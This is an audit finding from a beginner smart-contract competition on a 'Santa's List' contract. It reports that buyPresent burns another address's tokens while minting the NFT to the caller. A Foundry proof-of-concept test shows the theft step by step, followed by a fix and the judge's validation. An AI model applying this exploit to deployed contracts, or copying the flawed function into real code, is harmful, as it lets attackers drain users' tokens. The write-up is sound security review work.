First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

attacker can buy nft using tokens from another user - steal nft

rapstyle

Summary

function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

The function SantasList::buyPresent burns the token of the address passed as argument, but the minted nft is taken buy the user that call the function.

Vulnerability Details

An attacker can use the tokens of some victims to mint one or more NFTs without paying any tokens and without even having been included by Santa in his list.

I create this test to show the vulnerability:

Test code:
function testBuyPresentWithTokensOfAnotherUser() public {
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// The attacker haven't tokens and nfts
assertEq(santasList.balanceOf(user), 0);
assertEq(santaToken.balanceOf(user), 0);
​
// User2 is ExtraNice
vm.startPrank(santa);
santasList.checkList(user2, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user2, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
// User2 approve token to spend
vm.startPrank(user2);
santaToken.approve(address(santasList), 1e18);
// User2 collect his present and tokens
santasList.collectPresent();
// Check if users2 have 1 nft and tokens
assertEq(santasList.balanceOf(user2), 1);
assertEq(santaToken.balanceOf(user2), 1000000000000000000);
​
// The attacker buy a nft using user2 tokens
vm.startPrank(user);
santasList.buyPresent(user2);
​
// Now the attacker have 1 nft and the user2 have 0 tokens
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user2), 0);
vm.stopPrank();
}

Impact

An attacker can mint how many NFTs he wants using tokens from other victims.

Tools Used

Manual review and Foundry test.

Recommendations

The tokens should be burned to the user making the call (msg.sender), and the address passed as an argument should instead be used to mint the nft.

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
- _mintAndIncrement();
+ _mintAndIncrement(presentReceiver);
}
​
+ function _mintAndIncrement(address receiver) private {
+ _safeMint(receiver, s_tokenCounter++);
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.